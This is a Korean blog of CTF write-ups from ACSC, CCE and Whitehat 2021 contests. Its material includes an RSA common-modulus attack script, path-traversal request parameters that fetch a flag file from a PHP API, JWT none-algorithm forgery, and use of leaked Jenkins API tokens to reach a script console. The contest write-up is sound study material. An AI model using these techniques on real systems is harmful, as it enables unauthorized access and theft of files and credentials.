바빠서 집중은 못한 대회였다 ㅠ.ㅠ

CRYPTO

RSA Stream

import gmpy2
from Crypto.Util.number import long_to_bytes, bytes_to_long, getStrongPrime, inverse
from Crypto.Util.Padding import pad

from flag import m
#m = b"ACSC{<REDACTED>}" # flag!

f = open("chal.py","rb").read() # I'll encrypt myself!
print("len:",len(f))
p = getStrongPrime(1024)
q = getStrongPrime(1024)

n = p * q
e = 0x10001
print("n =",n)
print("e =",e)
print("# flag length:",len(m))
m = pad(m, 255)
m = bytes_to_long(m)

assert m < n
stream = pow(m,e,n)
cipher = b""

for a in range(0,len(f),256):
  q = f[a:a+256]
  if len(q) < 256:q = pad(q, 256)
  q = bytes_to_long(q)
  c = stream ^ q
  cipher += long_to_bytes(c,256)
  e = gmpy2.next_prime(e)
  stream = pow(m,e,n)

open("chal.enc","wb").write(cipher)

"from flag import m" 못 보고 Q&A 했다가 운영진에게 코드를 읽으면 됩니다라는 어디 숨고 싶은 답변을 들었다 ㅠ.ㅠ

로직은 귀찮아 보이지만 핵심은 같은 modulus에 대해 다른 e가 쓰이고 있다는 점이다.

common modulus attack이라고 하는 이 공격법의 핵심은 아래와 같다.

$$ M^k \bmod N * M^l \bmod N = M^{k+l} \bmod N $$

M < N 이기 때문에 k+l 만 1로 만들면 되는 것이다.

a,b 모두 0이 아니므로 베주 항등식을 적용하면 아래와 같이 $ e_1x + e2y = 1 $ 인 값을 찾으면 된다.

여기서는 확장된 유클리드 호제법을 사용하면 좋다.

ax + by = gcd(a,b)
gcd(e_1, e_2) = 1
e_1x + e_2y = 1​

 https://hackmd.io/@syru/Hy2J_ySZu

 

The Extended Euclidean Algorithm - HackMD

# The Extended Euclidean Algorithm $ax+by=\gcd(a,b)$를 만족하는 베주 항등식(Bézout's identity)의 계수(Coefficien

hackmd.io

최종적인 PoC는 다음과 같다.

import gmpy2
from Crypto.Util.number import long_to_bytes, bytes_to_long, inverse
from Crypto.Util.Padding import pad

def egcd(a1, a2):
    x1, x2 = 1, 0
    y1, y2 = 0, 1
    while a2:
        q = a1 // a2
        a1, a2 = a2, a1 - q * a2
        x1, x2 = x2, x1 - q * x2
        y1, y2 = y2, y1 - q * y2
    return a1, x1, y1

f = open("chal.py","rb").read()
enc_f = open("chal.enc","rb").read()

n = 
e = 65537

enc_data = []
for a in range(0,len(f),256):
  q = f[a:a+256]
  enc_q = enc_f[a:a+256]
  if len(q) < 256:q = pad(q, 256)
  q = bytes_to_long(q)
  enc_q = bytes_to_long(enc_q)
  c = q ^ enc_q
  enc_data.append((c, e))
  e = gmpy2.next_prime(e)

c1, e1 = enc_data[0]
c2, e2 = enc_data[1]
_, s1, s2 = egcd(e1, e2)
print(long_to_bytes((pow(c1, s1, n) * pow(c2, s2, n)) % n))


사실 이런 유형 문제는 너무너무너무너무 많이 나온 나머지 정리된 포스트가 많다.
내 즐겨찾기에 있는 것을 뒤져보니 여기도 해당 유형이 소개되어있다.
https://myblog.isnt.site/a-year-of-ctf-rsa/

 

A year of CTF RSA | Haven 4 BREAD

1년정도 CTF 뉴비로 있으면서 (아직도 뉴비지만) 겪었던 RSA 문제들의 유형을 대략 정리했습니다.

myblog.isnt.site


최근 SNS를 보면 이런 유형의 RSA는 이제 그만나올법도 되지 않았나라는 말이 있는 것 같다.

후.. 나도 좀 선형대수학 지식 쓰고 행렬 계산하고 bit flip하고 그런 걸 하고 싶지만 말만 한다고 지식이 들어오는 것은 아니니까 하고 있는 프로젝트 들이 마무리 되면 계획 잡고 공부해봐야 겠다.

 

이 문제와 큰 관계는 없지만 RSA 관련해서 읽어보면 좋은 글도 하나 첨부한다.

https://www.secmem.org/blog/2020/07/19/RSA-Puzzles/

 

RSA Puzzles

서론 RSA는 공개키 암호의 일종으로, 공개키를 통해 평문을 암호화할 수 있으며 비밀키를 통해 암호문을 복호화할 수 있습니다. 이 때 비밀키로부터 공개키를 구할 수는 있지만, 공개키로부터 비

www.secmem.org

WEB

API

로그인 페이지를 보고 sqli를 하고 싶어지지만 착하게도 소스코드가 주어져있다.

페이지 로직은 다음과 같다.

1. 회원가입 ( 불친절하게 회원가입 버튼이 없다,,, )
2. 로그인
3. "admin이 아닙니다" 하고 다시 로그인 페이지

...

3번에서 막혔었다.
그래서 삽질하면서 여러가지 가능성을 뒀었다.
1. 굳이 함수로 짜져있는 redirect
2. php loose comparision 취약점
3. 배열을 인자로 넘겨서 acc[2]를 만드는 것
4. Bruteforce

1번이 그 해답이였다.
redirect 메소드 코드는 아래와 같다.

public function redirect($url, $msg=''){
	$con = "<script type='text/javascript'>".PHP_EOL;
	if ($msg) $con .= "\talert('%s');".PHP_EOL;
	$con .= "\tlocation.href = '%s';".PHP_EOL;
	$con .= "</script>".PHP_EOL;
	header("location: ".$url);
	if ($msg) printf($con, $msg, $url);
	else printf($con, $url);
}

철저하게 client side에서 동작하는데 언제나 client side에서 이루어지는 것은 의심해보아야 한다.

challenge 메소드를 확인해보면 redirect 후 끝내는게 아닌 친절하게 c2 파라미터로 받은 것도 확인해준다.

function challenge($obj){
	if ($obj->is_login()) {
		$admin = new Admin();
		if (!$admin->is_admin()) $admin->redirect('/api.php?#access denied');
		$cmd = $_REQUEST['c2'];
		if ($cmd) {
			switch($cmd){
				case "gu":
					echo json_encode($admin->export_users());
					break;
				case "gd":
					echo json_encode($admin->export_db($_REQUEST['db']));
					break;
				case "gp":
					echo json_encode($admin->get_pass());
					break;
				case "cf":
					echo json_encode($admin->compare_flag($_REQUEST['flag']));
					break;
			}
		}
	}
}

export_db 메소드를 확인해보면

public function export_db($file){
		if ($this->is_pass_correct()) {
			$path = dirname(__FILE__).DIRECTORY_SEPARATOR;
			$path .= "db".DIRECTORY_SEPARATOR;
			$path .= $file;
			$data = file_get_contents($path);
			$data = explode(',', $data);
			$arr = [];
			for($i = 0; $i < count($data); $i++){
				$arr[] = explode('|', $data[$i]);
			}
			return $arr;
		}else 
			return "The passcode does not equal with your input.";
}

db 파라미터의 해당하는 파일을 다운로드 받아주는 것을 알 수 있다.
api 자체는 /db/*.db 를 다운 받는 것을 의도했지만 /db/../../../../../../flag를 통해 flag를 다운받을 수 있다.

그전에 passcode가 필요하기 때문에 아래와 같이 파라미터로 주면 획득할 수 있다.

c=i&c2=gp

'''
HTTP/2 302 Found
...

<scripttype='text/javascript'>
location.href='/api.php?#accessdenied';
</script>
":<vNk"
'''

이 후 상대 경로를 통해 flag를 다운받을 수 있다.

c2=gd&pas=:<vNk&db=../../../../../flag

'''
[
  [
    "ACSC{it_is_hard_to_name_a_flag..isn't_it?}\n"
  ]
]
'''

문제 풀이에 지장을 주지는 않지만 apache config 파일의 의도와 다르게 db 파일에 접근이 되는데

그 이유는  docker container 외부 접속 포트로 설정해서 그런 것 이였다.

로컬에서 docker container 내부 서비스 포트로 설정하니 제대로 동작하였다.

'write up' 카테고리의 다른 글

2021 사이버 공격방어대회 (CCE) 후기 ( 아직 쓰는중 )  (0) 2021.09.26
2021 Whitehat Contest 후기  (2) 2021.09.13
애매하게 아는 것은 모르는 것과 크게 다르지 않다.

23일에서야 선배의 연락을 받고 대회를 알게 되어 마감 직전에 신청한 준비를 제일 못한 대회였다.

CCE 라고 해서 처음 보는 대회라고 생각했는데 작년 군대 사지방에서도 참여했던 사이버 공격방어대회였다.

그 때 기억으로 이 대회의 특징은 하 난이도 문제를 내주며 포렌식이 많다는 것이였다.

SSTI 나 Prototype Pollution 가 나올 것 같아서 새벽에 잠깐 보고 잤는데 말 머리에 쓴대로 잠깐 본건 아무 의미 없었다.

 

해결

  • WEB
    • Search king
      • 검색에 SQLi를 시도했으나 성공적이지 못했으나 제목, 글쓴이에 없는데 자료가 검색된걸 보고 아 범위에 내용이 존재하는 것을 파악해 script 짜서 돌리면 된다.
  • CRYPTO
    • ROX
      • key[_%7] 코드로 키 길이가 7임을 유추할 수 있다. FLAG Format이 cce2021{~~}임을 이용하여 'cce2021' 와 key^'cce2021' 상태인 암호화된 데이터를 xor 연산하면 key를 얻을 수 있다.

미해결

 

  • CRYPTO
    • TES
      • 처음에 AES만 보고 아 이거 padding oracle 또 낸건가 하고 바로 풀 수 있겠다라는 기대감에 시작했다.
      • 정작 padding oracle attack을 공부 해본적은 없는 상황에서..
      • 로직 분석 및 삽질기는 내일 풀면서 이어 쓰겠다.
  • WEB
    • prototype pollution 대잔치였지만 내가 알지 못하였다.
  • REV
    • Read_For_Me
      • wasm 코드를 해석해야 하는 문제여서 wasm2c나 wasm2js로 돌아다니는 것들을 써봤는데 잘 안됬다...
      • 알고보니 console에서 function call을 통해 해결할 수 있었다.

지금은 졸리니 좀 자고 미해결 문제 ( TES 최 우선 !!!!! ) 와 코드로 로컬에 구축할 수 있는 문제는 다시 풀어봐야겠다.

문제 퀄리티는 만족스러웠다.

 

개인적으로 화이트 햇 때 어려운거 ( 사실 귀찮은 것이라고 해야 될 것 같다. ) 맞추고 근거없이 높아진 자만을 낮추는 좋은 계기가 된 것 같다.

 

'write up' 카테고리의 다른 글

ACSC 2021 CTF 후기  (0) 2021.09.26
2021 Whitehat Contest 후기  (2) 2021.09.13

요번주 주말에는 2021 대한민국 화이트햇 콘테스트에 참여했습니다.

대회기간은 9.11 am 9 ~ 9.12 am 9 으로 24h동안 진행되었는데 다음날 아침이 되보니 조금 아쉬웠습니다.

 

리버싱, 크립토, 웹을 톡톡 건들여 보다가 젤 방향이 보이는 웹에 몰두해서 다행히 한 문제를 풀어냈습니다.

 

제가 푼 웹 문제는 사실 OSINT에 가까웠습니다.

 

mini-realworld란 문제를 풀었는데 ( 이름부터 osint처럼 생기긴 했습니다. )

 

1. jwt none algorithm을 이용해서 admin token을 만들어냅니다.

  전 jwt.io를 활용하는데 인터페이스가 편해서 좋습니다.

2. mypage에서 다양한 정보를 얻을 수 있는데 "Whitehat-NowYouSeeMe"와 "commit ~~~"가 중요 정보라고 볼 수 있습니다.

3. 바로 github를 찾아보니 repo가 존재해서 commit 기록을 살피면서 jenkins 접속 주소와 api token 정보를 얻을 수 있었습니다.

4. 사실 여기서 1차 해맨게 전 당연히 admin api token인 줄 알고 admin으로만 하다 계속 실패했습니다.

5. Whitehat-NowYouSeeMe 계정으로 cli를 통해 접근하면 됩니다.

curl ${JENKINS_주소} --user 계정:API_TOKEN

6. 이후 4시간동안 무한한 삽질을 시작합니다. createUser 부분을 찾아내서 post로 form data보내서 계정 만들어서 접속까지 했습니다.

7. 그래서 스크립트 콘솔로 쉘을 실행하는데 딱 ls 바이너리만 실행권한이 있길래 쉘에서 뭘 하는게 아닌가 하고 열심히 뒤졌는데 누군가가 제 계정 비번을 계속 바꿉니다.

8. 그래서 아 귀찮네 하고 다시 cli에서 /scriptText를 통해서 스크립트 결과를 받는데 그냥 혹시나 해서 ls /tmp 했는데

FLAG가 왜 여기서 나오죠...?

 

흑 재밌었는데 너무 삽질한 나머지 현타오는 문제였습니다.

 

제가 건들였던 것은 일단 BitTrader란 문제가 있었는데

sqli가 되는데 from 절 이후로 파라미터에 입력하는 거 같은데 여러 문자가 필터링 됩니다.

필터링 대상 : single quote, double quote, backtick, parentheses <-- (, )

 

정보 조회로 제일 먼저 @@version 정보를 알아내니 5.7.35 여서 왜 5.7버젼일 까를 고민하다 생각한게 아 파일에 뭔가 하는 거다라는 생각이였습니다.

그래서 @@Global.secure_file_priv도 조회하니 /tmp더라고요.

그래서 아 /tmp 에 있는 세션을 읽거나 아니면 세션에 내가 원하는 값을 넣는거다

근데 문제가 load_file을 하기엔 parenthesis가 필요하고 into outfile을 하기엔 quote가 필요합니다.

여기서 접고 real world 갔습니다.

 

후반부엔 join을 써먹어볼 까 했는데 join을 어떻게 쓰는지 잘 몰라서 결국 시간이 끝났습니다.

join을 좀 더 공부해서 다음에 포스팅 해보겠습니다.

 

출제자가 공개한 풀이 방향은 join으로 well known table들을 on, where 절을 통해 불러오는 heavy query 였습니다.

select * from ${symbol} 일지 select col_name, col_name from ${symbol}일지로 고민했는데

select * from price_$[symbol} 이였을 줄이야 ㄴㅇㄱ...

 

mudbox는 선배한테 풀이를 조금 들었는데 openbase dir bypass 이외에도 disable_funtions 를 우회해서 풀 수 있다고 한다 그걸 좀 더 알아봐야 겠다.

진짜 보면 볼 수록 PHP란 언어는 CTF 특화인가 싶네,,,

 

N = 2048bit prime ( not p * q )
e = 0x10001
flag_enc = flag^e mod N
ed mod phi(N) = 1 인 d로 decrypt 가능

output이 enlighten 함수 실행결과
hex ( random(1~2^1024) * 2048bit prime + (1~2^1022*3) ) 

0A가 일종의 separator인듯 
0A로 output을 구분 가능할 것으로 보임

euclid 문제는 여기까지 정리하고 음 random의 특수 경우의수를 기대하는 건 아닐거 같고 codegate babyrsa때 처럼 bit로 장난치는건가 했는데 나중에 주워들으니 Approximate Common Division이라는게 있는 것 같다.

 

입상하려면 리버싱, 크립토도 풀어야하는데 언제 준비할지 모르겠다 @.@...

'write up' 카테고리의 다른 글

ACSC 2021 CTF 후기  (0) 2021.09.26
2021 사이버 공격방어대회 (CCE) 후기 ( 아직 쓰는중 )  (0) 2021.09.26

+ Recent posts